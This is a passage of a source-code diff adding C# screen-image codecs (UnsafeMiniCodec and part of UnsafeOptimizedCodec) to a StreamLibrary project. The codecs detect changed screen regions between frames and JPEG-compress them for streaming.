return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class Frame
|
||||||
|
{
|
||||||
|
public decimal[,] HashBlocks { get; private set; }
|
||||||
|
|
||||||
|
public Frame(int ImageWidth, int ImageHeight)
|
||||||
|
{
|
||||||
|
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
public void AddHashBlock(int x, int y, decimal Hash)
|
||||||
|
{
|
||||||
|
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||||
|
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||||
|
this.HashBlocks[x, y] = Hash;
|
||||||
|
}
|
||||||
|
public decimal GetHashBlock(int x, int y)
|
||||||
|
{
|
||||||
|
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||||
|
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||||
|
return this.HashBlocks[x, y];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,365 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeMiniCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
private Size CheckBlock { get { return new Size(50, 50); } }
|
||||||
|
|
||||||
|
public UnsafeMiniCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (this.ImageProcessLock)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format + " is not supported.");
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
//first frame
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.EncodedFormat != Format)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
|
||||||
|
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
|
||||||
|
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
|
||||||
|
fixed (byte* encBuffer = EncodeBuffer)
|
||||||
|
{
|
||||||
|
//1. Check for the changes in height
|
||||||
|
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
|
||||||
|
{
|
||||||
|
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
int index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//2. Capture all the changes using the CheckBlock
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle scanBlock = Blocks[i];
|
||||||
|
|
||||||
|
//go through the Blocks
|
||||||
|
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
|
||||||
|
{
|
||||||
|
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
|
||||||
|
{
|
||||||
|
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
|
||||||
|
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
|
||||||
|
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
//scan the block from Top To Bottom and check for changes
|
||||||
|
bool FoundChanges = false;
|
||||||
|
for (int blockY = y; blockY < y + blockHeight; blockY++)
|
||||||
|
{
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
FoundChanges = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (FoundChanges)
|
||||||
|
{
|
||||||
|
int index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//maybe a too hard algorithm but oh well
|
||||||
|
SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
|
||||||
|
List<Rectangle> FinalTemp = new List<Rectangle>();
|
||||||
|
|
||||||
|
for (int i = 0; i < Array.Values.Count; i++)
|
||||||
|
{
|
||||||
|
FinalTemp.AddRange(Array.Values[i].Values);
|
||||||
|
}
|
||||||
|
|
||||||
|
//fixup the height
|
||||||
|
for (int i = 0; i < FinalTemp.Count; )
|
||||||
|
{
|
||||||
|
if (FinalTemp.Count == 1)
|
||||||
|
{
|
||||||
|
FinalTemp.Add(FinalTemp[i]);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i + 1 < FinalTemp.Count)
|
||||||
|
{
|
||||||
|
Rectangle curRect = FinalTemp[i];
|
||||||
|
Rectangle nextRect = FinalTemp[i + 1];
|
||||||
|
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
|
||||||
|
{
|
||||||
|
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
|
||||||
|
FinalTemp.RemoveAt(i + 1);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//copy changes to the EncodeBuffer and Process the Output
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < FinalTemp.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = FinalTemp[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
//copy changes to EncodeBuffer
|
||||||
|
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
|
||||||
|
{
|
||||||
|
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
|
||||||
|
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
|
||||||
|
}
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
Blocks.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,473 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeOptimizedCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
private class PopulairPoint
|
||||||
|
{
|
||||||
|
public Rectangle Rect;
|
||||||
|
public int Score;
|
||||||
|
public Stopwatch LastUpdate;
|
||||||
|
|
||||||
|
public PopulairPoint(Rectangle rect)
|
||||||
|
{
|
||||||
|
this.Rect = rect;
|
||||||
|
this.Score = 0;
|
||||||
|
this.LastUpdate = Stopwatch.StartNew();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public Size CheckBlock { get; private set; }
|
||||||
|
private object ImageProcessLock = new object();
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private List<PopulairPoint> populairPoints;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
|
||||||
|
|
||||||
|
//options
|
||||||
|
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
|
||||||
|
public uint AliveTimeForBeingVideo = 5000;
|
||||||
|
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
|
||||||
|
public uint ScreenRefreshTimer = 2000;
|
||||||
|
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
|
||||||
|
public Size VideoScreenSize = new Size(100, 100);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of UnsafeOptimizedCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||||
|
public UnsafeOptimizedCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.populairPoints = new List<PopulairPoint>();
|
||||||
|
this.CheckBlock = new Size(15, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < populairPoints.Count; i++)
|
||||||
|
{
|
||||||
|
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
|
||||||
|
{
|
||||||
|
populairPoints.RemoveAt(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ScreenRefreshSW = Stopwatch.StartNew();
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<byte[]> updates = new List<byte[]>();
|
||||||
|
MemoryStream ms = new MemoryStream();
|
||||||
|
byte[] buffer = null;
|
||||||
|
|
||||||
|
if (this.EncodedFormat != Format)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = ScanArea.Height - lastSize.Height;
|
||||||
|
int lastx = ScanArea.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
|
||||||
|
PopulairPoint[] points = GetPossibleVideos();
|
||||||
|
if (points.Length > 0)
|
||||||
|
{
|
||||||
|
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
|
||||||
|
}
|
||||||
|
|
||||||
|
s = new Size(ScanArea.Width, s.Height);
|
||||||
|
fixed (byte* encBuffer = EncodeBuffer)
|
||||||
|
{
|
||||||
|
if (points.Length == 0) //only scan if there is no video
|
||||||
|
{
|
||||||
|
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(ScanArea.Width, lastSize.Height);
|
||||||
|
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||||
|
|
||||||
|
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
x = ScanArea.X;
|
||||||
|
while (x != ScanArea.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||||
|
bool FoundChanges = false;
|
||||||
|
int blockStride = PixelSize * cBlock.Width;
|
||||||
|
|
||||||
|
for (int j = 0; j < cBlock.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||||
|
FoundChanges = true;
|
||||||
|
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
}
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (FoundChanges)
|
||||||
|
{
|
||||||
|
index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(points[0].Rect);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
|
||||||
|
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||||
|
{
|
||||||
|
PopulairPoint point = null;
|
||||||
|
if (GetPopulairPoint(rect, ref point))
|
||||||
|
{
|
||||||
|
point.Score++;
|
||||||
|
point.LastUpdate = Stopwatch.StartNew();
|
||||||
|
